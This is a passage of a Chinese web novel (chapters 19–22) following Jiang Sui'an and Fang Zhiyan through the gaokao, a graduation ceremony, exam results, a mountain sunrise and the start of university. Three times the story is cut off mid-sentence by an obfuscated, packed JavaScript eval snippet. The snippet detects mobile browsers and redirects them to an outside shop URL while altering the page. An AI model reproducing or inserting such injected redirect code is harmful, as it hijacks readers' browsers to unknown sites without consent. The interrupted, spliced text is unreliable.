——“调过来干啥,无语死了,一中净爱捡些人家学校扔掉的人,还要美其名曰‘高薪挖墙脚’……” 现在听到她要走,她却犹豫起来,羞红了脸。 姜岁安知道自己或许不是舍不得某一个特定的人突然消失,而是害怕平衡被打破,就像方知言说自己要转校离开的那个晚上,无眠无言,朝着天花板东张西望。 此后她和夏静雯联合了年级的许多班干和团学负责人找校长反映过许多次,可得到的答案永远都是——“这是董事会的决定”——将锅甩得干净。 “这不是你们学生该操心的事,好好备考,不负她的期望才是正道。” 这一场离别突如其来,就跟汐城的雷阵雨一样。 起初大家一下课就要讨论的事情,也随着倒数的日子而被淡忘了,这或许是时间的魔法,但姜岁安清楚地知道,这只是我们不愿意接受结局而激发的应激遗忘机制,或本就不关心,因而一个人的去留并不会影响记忆。 日子像流水一样过了,仿佛李主任在一中的一年已是隔代的历史。 再谈起来,人人感慨物是人非事事休,姜岁安无语泪也不留,因为事发东窗不过短短两三周。 写卷子、开级会、抢食堂、挑灯战…… 还是老样子。 可姜岁安却认定了一个决心,把李主任作为标杆人物收纳进了这个决心的目录之中,并为扉页写了句词。 这同样也是她对李主任的祝福—— 李素岩,素岩何须自证清,功过自有人评。 哪怕不能亲口告诉她,但在精神的宇宙之中,这句话总会与之相见。 或许吧。 李素岩,再见。 19. 夏秋(一) 总之,人的眼睛会对自己喜欢的事物自动对焦——山楼云河、猫猫狗狗、烧饼油条、绿箩南墙…… 原来清晰的人群都成了他周围的浮光掠影,眉目明辨的他站在斜方,化作某人眼里的波澜不惊。 | “请监考教师发放答题卡,组织考生填写班级、姓名、考场、座位号、准考证号。”机械的女声从崭新的广播中传来。 讲台上的老师许是压力太大前一觉没睡好,声音似浸了沙,对他们说:“这是最后一场模拟考了,汐城一中集全部师资力量,为你们出的最后也是最有含金量的一套模拟题。仔细做,一星期后的高考考场上你们会有收获的。” 紧接着,发放试卷的铃声响了起来,纸张传下来的声音簌簌。 晨光从枝繁叶茂里泄出,斑驳地栖息在姜岁安书桌的左上角,她笔尖的墨在答题卡上划出俊逸的名字后就停住了,整个教室都在等待铃声响起。 …… 当光斑从方知言书桌左上角不断扩大到整面课桌甚至是他紧绷着的全身时,模拟考答题卡上那团名字忽洇成高考准考证上姓名重叠的一片影子。窗外的梧桐树把三年的絮语都埋在了一片叶子的脉络里,疯狂生长,长成一个句号,落在了政治答题卡最后一句论述的结尾。 高考中的结束铃声顷刻之间响起,比任何一场考试都来得紧张急迫。 “本场考试结束,请考生停止答题……” 方知言稀里糊涂地走出了汐城一中愿海校区考场,远远望见身着玛瑙红旗袍焦虑徘徊的母亲、一脸担忧四处张望的父亲和捧着鲜花安慰两人的姐姐。 他走向前,穿过拥挤的家长,拨开拦路的记者,大步向前走。 …… 汐城一中锦绣校区考场外,姜岁安被爸爸妈妈搂进了怀里,虽嘴上说着“这里好多人,你们不要这样,羞死了”,但还是止不住红了眼眶,落下了欢喜的泪水。 “我今天要吃红烧排骨!” 坐在汽车后座上,姜岁安有些恍惚。 她其实,并没察觉这次的离校与往常有什么特别的不同,只觉得自己应该为其而哭。那么平常的一天,那么不平常的一天——结束了。 没有欣喜若狂、没有悲愤欲绝、没有后悔莫及——结束了。 感觉明天依旧要回到这里准备考试,考完后再在食堂的创新菜窗口中吐槽一下“草莓麻婆豆腐”,傍晚再去操场散步顺便看看校足球队有没有新生小帅哥——结束了。 …… 在屋里过了几天舒坦无忧日子的姜岁安正计划着毕业典礼后去哪里旅行时,突然接到了夏静雯的电话。 对方说,学校以自己高二时是学生会会长为由希望她做毕业典礼的学生导演,但比起当导演,她更想在舞台上当演员,于是向他们推荐了自己,并且得到了校方的认可。 “岁安,干不干?” 姜岁安说她先斩后奏让自己骑虎难下,却也还是答应了。 姜岁安问:“你怎么没找自己的老相好?” “什么老相好?说竹马都是在抬举他,那货不及你一根毫毛。” 姜岁安说:“哦——我可没有指名道姓哦。” 夏静雯挂了她的电话。 学生自己负责自己的毕业典礼,是汐城一中历年来的传统。今年,为了庆祝二十年校庆和分校正式成立,学校早在一个月前就特意租了体育馆作为场地,邀请了全校师生和汐城领导一同参加。 这次不是蜗居学校礼堂了,而是要掌控整个体育馆。 学生幕后组虽无法全权负责典礼的运作,需要领导指导审批,但参与度也不低,说出去也算半个傀儡皇帝,最大的作用是宣传和吉祥物,工作量也不小。 姜岁安在得知今年的情况后向夏静雯哭诉,夏静雯说:“拿着对讲机指控全场多风光啊岁安,这个搞好了将来找工作可是能写进简历的事迹啊,信姐不亏!” 她说:“你倒是把烂摊子扔给我,自己快活去了。” 夏静雯咯咯笑出声,控诉姜岁安不懂她好意。 姜岁安思索着,觉得夏静雯所说不错,也就开始联系起艺体部老师商量策划方案和招募学生幕后人员。她效率很高,两天写完起草一天确认终稿,联系好固定环节嘉宾后,就开始在校园论坛上海选节目。 那几日,节目组同学们的邮箱几乎全是爆满状态,他们两眼一睁就是审核节目,两眼一闭就是思考着明天几点起来审核节目;编导组的同学们总在担心会不会又什么纰漏,忙着与各个部门沟通进程整理汇报;技术组的同学们在等节目组反馈节目要求的同时,不忘与体育馆的灯光师和音响师们沟通细节…… 姜岁安也不闲着,看了好几遍零八年北京奥运会的幕后专访学习节目安排和控场技术,还要随时与愿海校区的学生导演保持沟通。 某天她正敷着面膜抱着电脑用企鹅回复体育馆负责人关于灯光的注意事项时,一个叫“小蒋不是老蒋”的人发了个视频给她,花痴道:姜导!!!你跟方知言关系比较好,可不可以把他的企鹅号推荐给我啊!!!被这男人的魅力征服了,想和他做朋友!!!【大哭】 姜岁安被突如其来的粉红泡泡糊了一脸,心里有点不爽,于是正准备回复对方自己确实没有方知言的企鹅号,又话锋一转:蒋翼铭,我看起来很傻吗? 被识破的蒋翼铭索性也不装了,问:夏静雯有啥节目? 姜岁安只回了四个字:无可奉告 小蒋不是老蒋:姜导,求求你了_(:з」∠)_ MaidenKnight:你别这么肉麻 小蒋不是老蒋:方知言比我肉麻多了好不好,你又不怼他!!!【发怒】【发怒】【发怒】 MaidenKnight:他是把控不了自己的闷骚,你是故意的,自然罪加一等【微笑】 MaidenKnight:好了不说了,你要真想知道,就自己问她去 小蒋不是老蒋:【虾仁猪心】 小蒋不是老蒋:【哭哭】 小蒋不是老蒋:【为人不仁】 …… 姜岁安没再理会蒋翼铭的表情包轰炸,甚至有过想把他直接拉黑的冲动,她的鼠标划到“小蒋不是老蒋”给自己发的视频上,点击播放,钢琴的旋律就从屏幕中倾泻而出一首李斯特的《鬼火》。 与“小蒋不是老蒋”的打趣赞叹不同,姜岁安脑子里闪过的第一个念头是——这家伙大概率是在炫技。 后来节目单上他的独奏曲目既不是李斯特也不是肖邦,而是一首中国民歌《敕勒川》。 她同样也在名单上看到了夏静雯的名字,她要跳一支古典舞——《乡愁无边》。 姜岁安记得她与自己说过,她喜欢唐诗逸。 忙活了一周的姜岁安觉得这差事与监工差不多。 没日没夜地往外跑,去审核主持人的稿子、去检查节目的排练进程、去核对演职人员。 要是遇上难缠的,还要磨嘴皮子,疼腿肚子。 比如方知言。 方知言说自己练琴一般都在家里,从不在外面的琴馆,她若是要来,自己肯定欢迎。 姜岁安觉得这样太尴尬,方知言却说他们家这几天就只有他和佣人在家。 “我看上去是要去偷情的吗?” 方知言在电话那边连连摇头。 “方知言, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她毫无防备地被带得旋了半圈,踉跄着跌到他身上,鼻梁撞在方知言的肩上,痛得叫出了声。几乎同时,那块笔记本电脑般大小和重量的一小截背景板“砰”地砸在她刚才站立的地方,掀起一小片微尘,尘埃又顷刻间落定。 姜岁安侧了侧脸,呼吸挨在他的肩胛上,小小的怀抱里,空气温热又凌乱。 “你没事吧……”方知言哑了声音。 姜岁安稍稍退开半步,却没有离开那个临时的圈,她抬起眼,睫毛颤动,目光落在他的下颌和嘴唇,最后才对上他的眼睛,对上他瞳孔里的自己。 她说:“我今天水逆,感谢施主出手相救。”说罢,她趁机从他悬在半空的怀抱里溜出来,挽起裤腿给他看自己挫破皮的膝盖。 方知言应声:“打个电话给场馆的人吧,让他们把这些东西收一下,免得真砸伤人。” 姜岁安点点头,腰间的对讲机响了,那边人催她调完设备就去演播厅计时。 她立刻赶着方知言到后台候场去,嘱咐道:“别给我出什么岔子哦,我今天可是想准时下班的。” 方知言说:“遵命,姜导。” 姜岁安鸡皮疙瘩起了一身,赶忙捂住他的嘴:“你别这么肉麻。” 方知言狡黠地抿了抿唇,抬起笑肌:“对不起,我把控不了自己的闷骚。” 姜岁安石化在原地,脑子里只有一个念头:杀了蒋翼铭这个狗汉奸! 她目送着方知言离开。 20. 夏秋(二) 大家都很给力,除了几个语言类节目比预期的要长不少,时间基本卡得刚刚好。 姜岁安觉得这事无伤大雅,开完编导会就准备进攻麦麦。 夏静雯在彩排结束的时候摇来蒋翼铭,于是就出现了四个人齐刷刷地坐在麦当劳靠窗的长桌上,一口一口地啃着汉堡的场景。 姜岁安是没有麦辣鸡翅会死星人,一口气点了三对,把翅根分给他们,自己只吃鸡翅。 “夏静雯你尝尝我这个,超级无敌巨无霸。”蒋翼铭捧着自己的汉堡,故意递到夏静雯面前。 夏静雯一脸嫌弃:“咦,啃成这个鬼样子还给别人吃,生怕疯牛病不会传染吗?” 蒋翼铭一口咬下去,汁水爆了整个包装纸,含糊不清地说:“好心当作驴肝肺。” 夏静雯突然问起方知言数学最后一道多选选的什么,蒋翼铭正要出声,就被姜岁安立马呵止:“诶诶诶,我们四个里面,你们仨是算出来的,我是蒙的,你们要讨论之前麻烦先让我闭上耳朵好吗?” 方知言淡淡地喝了一口咖啡,说:“没关系,我也是蒙的。” 夏静雯说:“好好好,不聊这个了。岁安,准备去哪儿玩?你要是没想好,可以跟我回老家,那边夏天凉快去避避暑也好。” 蒋翼铭插嘴:“他们老屋那里还是茅厕哦,姜岁安你好好考虑。” 夏静雯说:“闭上你的嘴,我姥姥家早就自建房装马桶了,”她捂住蒋翼铭的嘴,被沾了一手油,她直接揩在蒋翼铭的衣服上,“我们那儿有山有水,可好玩了。” 姜岁安提议:“我们去爬山吧,看晚星、看日出、看远山、看流水、看城市的每一幢高楼、看比楼还高的鸟儿和云……不用舍近求远了,就在汐城。” 夏静雯和蒋翼铭相视,心一横,答应了。 姜岁安戳了戳方知言:“方知言,去不去,就在汐城。” 他笑着说:“没问题。” 于是这事情就这样定了。 “等出分之后呗,没准我还要复读呢。”蒋翼铭嘴贫。 夏静雯:“去你的。” 姜岁安说:“你俩该去说相声,德云社没你们有效果。” 夏静雯瞥了眼手表:“我明天还要起早化妆,要回去睡觉了,就先走啦。” 姜岁安心里念叨“这才几点”,但还是与她告别,顺便告别了总跟在她后面的蒋翼铭。 她望着方知言的脸,欲言又止,缓缓打了个鸡翅味的嗝,然后红着脸说:“呃……我也该走了,我明天得好早到场呢。” 他饶有趣味地盯着她沾了脆皮屑的嘴唇,说:“这才几点。” 回旋镖砸了回来。 姜岁安装模作样揭开并不存在的袖子:“现在是……” 六月二十四日,早晨十点一刻。 姜岁安在后台拿着对讲机四处奔走,一会儿看看演员的妆有没有化好,一会儿看看魔术表演所需要的道具有没有穿帮,一会儿询问联络员主持人有没有准备好……她手里捧着节目单和策划案,一个不留神撞到了从试衣间中迎面而出的身影。 她抬头,方知言黑色燕尾服裁剪得体的肩线衬得整个人挺拔,顶光从他额前的碎发穿到他红润的嘴唇上,他乌黑的瞳色与短发相映。 姜岁安脑海里有一个念头:汐城一中给女生们留下的一笔财富无非是头发,若是把男生们变成彻彻底底的寸头刘海不过眉,指不定会闹出多几个抑郁。 两人的脸在试衣间厚重暗红色布帘的反光下都熟了一半,心脏有些缺氧。 方知言率先反应过来,这样盯着姜岁安不加修饰却也青春灵动的少女脸蛋实在不雅,于是朝她连连道歉。 姜岁安的目光还是迟迟停留在方知言的眉眼之上,盯得他不好意思地别过脸干咳一声,无意露出一只充血的耳朵在她痴痴的视线之中。她的注意力被对讲机突如其来的电流声和男声唤醒:“姜同学姜同学,我来接班吧,你可以回演播室休息一下。” 她说完“好的”,就拍拍他的肩膀,曲起手臂做了个“加油”的手势。 “姜岁安,”他叫住她,“结束的时候,我们合个影吧。” 姜岁安点头。 她没去演播室,而是站在最高处看台的正中央,那里只有她一个人。姜岁安一袭白衫黑裤干练简约,腰上别着对讲机,头上戴着一顶贝雷帽,用姜女士的话来说,就是“颇有文艺工作者的风范”。 她感受着炫彩的灯光和激情的舞蹈作为开场,觉得这十来天的夜没有白熬。各个年级的学生们手中挥舞着荧光棒,现场仿若水族馆中斑斓的海洋。随后灯光暗下,追逐光随着主持人的身影往舞台中央移动,蓦地,现场亮了起来,舞台大屏上投影着主持人们精致的面庞。 她像欣赏自己的杰作般那样矗立在高台,无声欢庆。 不知不觉中,方知言一身燕尾服款款上场了。 曲目前奏像风和月融在一起般柔软,方知言这首曲子选得悲凉。姜岁安是极不愿意在离别时抒情的一个人,因为那会提醒着自己这场仪式的目的。 高考分数在毕业典礼的后一天才出来,明明谁也不知自己的命运会通向哪里,可人人都被这一首《敕勒川》泪洗面庞。 方知言在一曲完毕后没有直接起身谢幕,而是转头望着顶端女孩的身影——大屏上他的目光如炬,眼帘一阖一张,像是要捎走姜岁安右眼处不知何时挤出的一颗咸。 人们在看他,他在看她,她在看人们。 而后在主持人的串词声中,夏静雯上场了。 朦胧的灯光混合干冰的雾,蓝调的舞台衬得她身型刚柔并济。水袖劈开空气的刹那,她拧身抬腿直指吊顶。腾空时裙裾花般绽放,立定时腰肢似被风扯直的杨柳绷紧。 最后一幕,她回眸下蹲,灯光暗了,夏静雯被包裹在黑色之中。 又是一首离别的暗喻。 姜岁安想:当时就该毙掉你们两个节目中的其中一个。 她摸了摸自己的脸,有东西湿乎乎地铺在唇边,咸咸的。 现场沉寂了一阵后,掌声从四面八方袭来,好似要掀翻体育馆。 好在他俩之后是一组活宝的相声,将大家的情绪从低落中打捞了起来。 …… 大合影谢幕的时候,姜岁安作为锦绣校区的学生导演,和愿海校区的学生导演被校长抓去市领导的一左一右站着,他们身后是节目的演员——方知言站在她身后。 她一不小心被身边的人挤了一下,他便双手扶住她的肩膀,可却没赶在快门之前将手收回。 方知言的手就这样搭在她的肩上。 暖暖的,烫烫的。 结束后,他们在后台的红幕布前拍了合照。 夏静雯跳舞的长裙还没脱下来,绘着蓝白面饰的脸凑近那张已经完全显像的拍立得说:“岁安,你觉不觉得照片背景怪怪的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308822|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯?” “怪像结婚照的。”蒋翼铭插嘴,夺过那张照片仰首瞻仰起来。 姜岁安举起拳头扬言要揍他,方知言在一旁无奈地笑笑,轻易地从蒋翼铭手里抽出那张拍立得,顺手塞进了西装口袋里。一旁观战的夏静雯竟从他的无奈神情中读出了一丝宠溺,她连忙擦擦眼睛,想要看清到底是对着姜岁安的,还是对着蒋翼铭的。 “好了好了,我们四个是不是还没有一起的合照啊?不如就现在吧,我还带了相机。”姜岁安为了缓解这诡异又尴尬的气氛,提议道。 “好啊!”夏静雯率先附和。 姜岁安将相机的显示器翻转,单手持着机身,大拇指轻轻放在快门上,睁大眼睛鼓起腮帮,一副俏皮搞怪的模样;夏静雯的脸紧贴着她的面颊,眨眼微笑;蒋翼铭在后方左手高举两根手指,右手揽着方知言的肩膀;方知言嘴唇微微上扬,肢体没有特殊的动作,直愣愣地待在取景器内部画面的一角。 “咔嚓。” 闪光灯一亮。 蒋翼铭:“我的脸都变形了,姜岁安你技术好一般啊,枉我今天还打了粉底。” 夏静雯:“自己就长那样,难怪呢,你黑得打上粉底之后整个脸都是灰色的,我以为你从冰柜里出来的呢。” 蒋翼铭:“你个阿凡达!” 夏静雯:“你个黑皮仔!” 蒋翼铭:“阿凡达!” 夏静雯:“黑皮仔!” 姜岁安在心里吐槽他们幼稚。 “阿凡达!” “黑皮仔!” …… 夏静雯和蒋翼铭有私约,两人推搡着先走了,姜岁安收拾好通讯工具后去后台拿自己的滑板时,遇见了坐在那里的方知言。 他说自己在等她。 于是两人结伴回家。 姜岁安一边走,一边端详着相机显示屏上夏静雯和方知言两人妆后的精致脸蛋。 看着舞台上闪闪发光的方知言和夏静雯,姜岁安其实有一瞬间的难过。她觉得,不论是夏静雯也好,还是方知言也罢,他们都那么耀眼,那么多才多艺。 她与方知言有几公里的顺路,他们并肩时,她把自己的矛盾告诉了方知言。方知言一愣,想到素来大大方方的姜岁安居然也会有这样质朴懵懂的心思,虽有一丝诧异,但想着姜岁安毕竟也是个活生生的人,难免会有这再正常不过的苦恼。 他发自内心地赞赏道:“我们不可能学会世间每一个技能,也不可能用价值衡量每个人的擅长,我们会在不同的地方闪闪发光,但我们好像只喜欢把注意力放在别人的光芒上。姜岁安,其实你也是很优秀的人啊。你会写诗、会表演、甚至连编导都能游刃有余……” 她说:“别夸我了,夸得我晚上睡觉都要呲个大牙乐了。” 典礼结束,人员退完场时已是傍晚了,夏日的火烧云让在室内黑暗中待惯了的两人脑袋昏昏,依然送来他坚定的嗓音:“我喜欢你身上这股力量,文章也好,说话也罢,都有一种常人没有的气息。那是一种——理性的浪漫。” 他说他喜欢她——身上的力量。 他什么意思? “方知言,其实,你一点都不呆。”她说,随后踩着滑板与他在十字路口各奔东西。 方知言也不明所以,但欣然地接受了。 姜岁安的脚一次次蹬向地面,在炽夏的滚烫里,她的心跟着火热。 21. 夏秋(三) 那张大合照在汐城日报上刊登了,牛先生一边看着报刊上的内容,一边拍着姜岁安的肩膀:“我们安安就是牛啊哈哈哈哈哈,不愧是我牛振华的女儿啊哈哈哈哈哈……我看你很有做领导的天赋嘛,但是学艺术赚不了什么钱,我们劝你填志愿的时候还是谨慎一些。诶诶诶,你后面这小子是谁,手干嘛放我闺女身上?” 姜岁安从牛先生的手中把报纸抽出来,别扭地让两人赶紧出门,说自己要独自查分数。 两人只好先暂时离开了她的房间,再将房门轻轻带上。 几分钟后,姜岁安的房间里发出了尖锐的爆鸣声,她冲出房间,脚上的拖鞋都掉了一只,一边哭一边笑地喊:“六百五十二!我有生以来考得最好的一次!” 她冷静下来后,轮到姜女士和牛先生手舞足蹈,嘴里铮铮有词地唱着不成调的“六百五十二”。 她惴惴不安的梦想似乎离实现仅剩一步之遥。 她想把这个好消息告诉方知言,顺便关心一下他的成绩,却不曾被电视上新闻的报道抢先一步。 画面中的少年脸颊不加修饰,只一截白色短袖就足够青春俊朗,他的面前水泄不通地摆着话筒和录音笔,可他的脸上却没有一丝惊讶和局促,似乎这场面是他的意料之中。 他的名字经过了匿名处理,可姜岁安怎会不认得那双平静祥和却总胜券在握的眼睛? 标题上赫然写着——汐城文科状元702分的秘密。 她心中锣鼓喧天,那么热闹,却又烦躁。 她知道自己该为他高兴,因为他一定会为自己高兴。昨天他说,他喜欢她——身上的力量时,她早已错置了自己心跳的频率。不过,乐天派的姜岁安并没有过于纠结,一瞬失落后,依旧沉浸在“六百五十二”的喜悦之中。 牛先生也看到了电视台的报道,大惊失色:“哇这小伙子是你们一中的吧,我怎么记得开家长会的时候还见过他呢,又感觉刚在哪儿见过……这厉害,七百多分还是文科生,厉害厉害……” 姜岁安试图从父母这里得到一些慰藉,撇撇嘴说:“爸,别夸别人了,你女儿虽然不跟你姓牛,难道就不牛了吗?” 为了庆祝姜岁安豪取“六百五十二”成为家里唯一的大学生,牛先生和姜女士特地请了两天的假,在家里变着花样地投喂她。姜岁安承认,那几天她整整长了五斤。 夏静雯与蒋翼铭既没有发挥失常,也没有超常发挥,意料之内地超过了想报的院校的专业分数线。 他们不约而同将作文小组聚会那晚所说的理想填在了第一志愿的栏框里,也都平平安安地收到了来自天南海北的快递。 夏静雯薄薄的一张录取通知书到手时,还曾说过羡慕S大和A大录取通知书的精美设计,但姜岁安知道,她嘴上这样说,心里早就乐开了花。 这一切都那么美满,可姜岁安总觉得,他们的故事依旧处于未完结状态,至于后续要怎么写,他们每个人都有太多天马行空的幻想。但目前最重要的,就是享受一个完整的夏天的假期。 …… 姜岁安很爱汐城这个地方,这是她认为的,最完美的一座城市。 汐城有山、有海、有平原;汐城有阴、有晴、有雨雪;汐城有工作的快,也有生活的慢;汐城有家人,也有朋友……不过此时,她倒也没有这闲情再去细究汐城对于自己的意义,而是把注意力放在了攀登的腿上。 她走走停停的步子根本跟不上蒋翼铭这个打了鸡血一般的男人和夏静雯这个常年长跑冠军的女人,于是主动地提出把自己落在后面。 方知言倒也不显得着急登顶,而是默默跟在姜岁安身后。 姜岁安好几次跟他说,没必要等自己,方知言就说:“其实我也挺累的。” 姜岁安虽不知道他墨镜和遮阳面罩之下的状态是怎样的,但总之,她知道他这话大概率是在哄她,于是气喘吁吁地问:“你是故意为了和我待在一起吧。” “我不是,我没有。”随后,他举例了一大堆证明自己走得慢的“正当理由”。 姜岁安依旧看不见他的表情,却觉方知言像只炸毛狐狸一般自证的样子很有趣。 “方知言,你知道有个概念,叫‘自证陷阱’吗?” 方知言没有说话,也没有赌气般快步超越她,而是继续跟在她身后,等着她一步步迈上苔藓都已经干死的台阶。 四人到达山顶时,已是晚上了。姜岁安忽然被一阵烤玉米的香甜吸引,她左寻又看,拽着夏静雯朝一个没什么人的摊位走去。方知言皱眉,凑她耳边问:“十五一根的玉米棒,这不是扰乱市场吗?山下才卖三块……姜岁安,别被骗了。” 姜岁安豪气买了两根,一手递钱给那佝偻着背的公公,一手分了一根玉米给了方知言:“把东西拖来山顶的成本高嘛,不过这个玉米真的很香,尝尝,”姜岁安啃了一口玉米棒,被玉米粒爆出的汁烫了下嘴唇,就没着急再去咬,她说,“烫烫烫,嘶嘶嘶,方知言你小心点。” 方知言从兜里掏出纸巾把她嘴角的玉米碎擦去后,也不管形象地吃起了玉米。这玉米的皮有些焦,口感不脆也不糯,味道不算甜,他实在不明白为什么姜岁安这么喜欢。 蒋翼铭和夏静雯二人相视一笑,一人演“铁树”,一人演“开花”。吃完玉米,四人走到了临时驻扎地,按照说明书上的指示,依葫芦画瓢地支好了两顶帐篷。姜岁安和夏静雯一顶,方知言和蒋翼铭一顶。 夜里,四人挤在一个帐篷里看电影,选来选去,最终还是经过抓阄,在“经典必看榜”里选了一部老片子。 那一个晚上,姜岁安失眠了。她从小就这样,一旦带着什么期待,就难以入睡,即使睡着了,也会很早醒来。她怕自己翻来覆去的声音会吵到夏静雯,于是出了帐篷。 可这夜里,似乎不只有她一个睡不着的人。 她静静走到方知言身边,方知言说:“我听见了树叶的响声,知道是你。” “为什么?” “直觉。” “方知言?” “嗯?” “方知言?” “我在。” …… 这样的呼唤持续了几个循环,姜岁安不厌其烦,方知言不愠不恼。姜岁安忽然开口:“其实,今天那个玉米并不好吃,我就是觉得那个老爷爷有点可怜,所以才拉着夏静雯去买的。方知言,你会觉得我这样很傻吗?” “我觉得,这不算傻,这只能说明你是一个很好很善良的人。对那个卖玉米的老爷爷是,对那个总针对你的女孩也是。”方知言说。不知为什么,他在这时候想起了那个短发女孩偷笔的场景。 姜岁安解释:“我不喜欢何佳,但也不讨厌她。我并不觉得我会同情她……好吧其实有一点。我从未参与过她的过去,但我总觉得自己不应该袖手旁观他人的困境,”她突然想起了什么,一股灼烧之痛像蚂蚁一样爬遍了姜岁安全身,她说,“百日誓师那天,李主任把我们放走之后,她说我是个很自大的人,我愣住了。有那么一瞬间,我觉得她说的很对——我太喜欢插足别人的生活了,这不是个好习惯。” 一阵风不合时宜地吹来,掀起地上的枯枝落叶,挠着两人的小腿。方知言说:“同情可能是刻进人DNA里的东西,但共情应该是一种天赋。我没有这种能力,所以我不知道这对你来说是好还是坏……姜岁安,对不起。” 她说:“方知言,我不需要抱歉……方知言,谢谢你。你真的很会说话,或者说,我真的很喜欢跟你说话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314809|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 那棵大树低矮但粗壮,几乎是为人类而生长的,树根病态般从土壤里凸起,供人睡在上面。 姜岁安和方知言并排坐在树根上,她突然打了个哈欠,睡了过去。 遥远的天边,星宿流转,方知言几乎无眠,在听到身边少女细微的鼾声后,借着月与日的余晖和晨曦,仔细端详着靠在自己肩头的那张脸。 他鬼使神差地凑过去,闭上眼睛,鼻尖触碰到她脸颊的瞬间,下定决心要在这里落一个吻。 他的嘴唇落在月亮上,方知言的动作轻若鹅毛。 姜岁安在梦里,感到盈盈如绸的温度拂面,顺着绸缎在夏日的仙境里寻觅,来者竟是男儿仙。 梦里,男儿仙的眼睛又明又亮,亮着薄薄的哀伤,像自己认识的那个人一样,可又不像他,因为仙子轻佻的眸如月眉似山,一颦眨眼就勾走了她的魂。 而后她躺在一朵温暖的云里,穿过柳暗花明,躺在软软的泥土上,又在梦里睡了去。 …… 凌晨四五点,天边浮出一抹红,不知道什么时候被送回帐篷的姜岁安把夏静雯摇醒了。 四人并排站在山顶的一块空地,凝望着大自然的鬼斧神工,一齐感慨:“哇——” “十年后,我要世界,都能听见我姜岁安的声音!”姜岁安双手举在嘴前,她的声音朝着汐城血橙色的城市天际线飘去,正对着中央的汐城电视塔。方知言余光中,她的身体跟日出一样,闪着光芒。 夏静雯的情绪被那团如火般耀眼的圆球调动,她喊:“十年后,我夏静雯,一定会成为一名维和士兵!”随后,她右手抬起,向着整座城市敬礼。似是被她的情绪感染,也似是触景生情,与他们同样高考完来旅游的学生们也纷纷说起了自己的理想。 “十年后,我要有个铁饭碗!”蒋翼铭与夏静雯交换了眼神,也朝那太阳喊着。 姜岁安侧头看着方知言,他的眼睛盯着冉冉上升的红日,那么温柔地开口:“十年后,如果我有幸成为一名优秀律师的话,我希望,我能用法律帮助更多的人。” 他身旁女孩举起相机,方知言模糊的侧脸就这般在取景框里被定格。她的眼比那偏爱风景的尼康更快锁焦在他的脸上,而且只容得下他的样子。 此时方知言十七,她十八,红日正起的时候——任凭风咆哮、马嘶吼都无法阻止的红日——正起的时候。 姜岁安想起了昨天晚上,四个人挤在一个帐篷里,拿着平板看一部明明早就看过的电影《肖申克的救赎》:暴雨中,男人张开双臂,迎接独属于人生雷雨的晴天。 摩根·弗里曼在里面饰演的角色有这么一段话:有些鸟儿是不应该被关在笼子里的,因为它们的羽毛太丰润了。当他们飞走……你会由衷地庆祝他获得自由。 如今,他们就像是四只肆无忌惮的鸟儿一样。 在红日下,在期盼中,没有苍山负雪,但遍明烛天南。 他们清楚地明白,没有人会知道十年后会有怎样的变故,就连明天都无法预测,但至少,他们现在是无畏的。不论是“无所畏惧”,还是“无知者无畏”,貌似都没那么重要了。 …… 夏静雯比三人早开学了近半个多月,四人自下山离别后的再团聚,是在汐城机场。按照入学规定,夏静雯剪了短发,她那总骄傲地束在头上的马尾不见了。 她说,这是她十八年来第一次剪这么短。 姜岁安说,她这样很帅很英俊。 夏静雯噗嗤一声笑了。 姜岁安说,她们每年都必须要见面,让夏静雯与她拉勾。她这句话一出来,周围人并没意识到什么不对劲,可发言者却眉心一蹙——她不应该轻易发誓的。 机场广播催她走了。 22. 夏秋(四) S大与A大同在北城,从汐城坐飞机过去两个小时十五分钟。 这座内陆的城,刻着历史的深深的印迹——秋天的味道很浓,带着乡愁;铜锅涮肉和卤煮的气味迂回于胡同巷道,姜岁安喜欢这两样东西,但觉得某样饮品的味道实在不敢恭维;摩登与复古,延续于交替,同时存在于这座城里,她喜欢这座有底蕴的城,却讨厌它终日的霾。 开学即是军训,连喝了两个星期西瓜汁的姜岁安把这水果短暂戒掉了。 中秋时节,她没抢到回汐城的高铁票,想着飞回去成本太高,便和同样不回家的方知言约定作伴。 她回不去,他不想回。 姜岁安从本地舍友口中得知,北城公园中秋期间摩天轮半价,于是在一个闲暇的午后把方知言约了出来。公园里来来往往人不算少,草坪上铺着各色各样的餐布,小猫小狗你追我赶。她面对消沉的太阳伸了个懒腰,告诉他,自己加入了一个项目小组,明年或者后年就要下乡调研。 方知言疑惑:“新闻学也要搞社调吗?” 她说:“一前几届一个跟我比较熟的学姐组的队伍,她听说我也来了A大,就准备招我做文字工作。算了不说了,我们去玩摩天轮?”顺着姜岁安指间的方向看去,昏黄背景下的庞然大物矗立在湖边。方知言起初有些犹豫,但不想扫兴,于是迈开步子随着上蹿下跳的姜岁安往入口走去。 圆球状的容器刚好装下两人,她像个好奇宝宝一样趴在玻璃上,从不同角度看着这座只有在电视和报纸上才见过的城市。 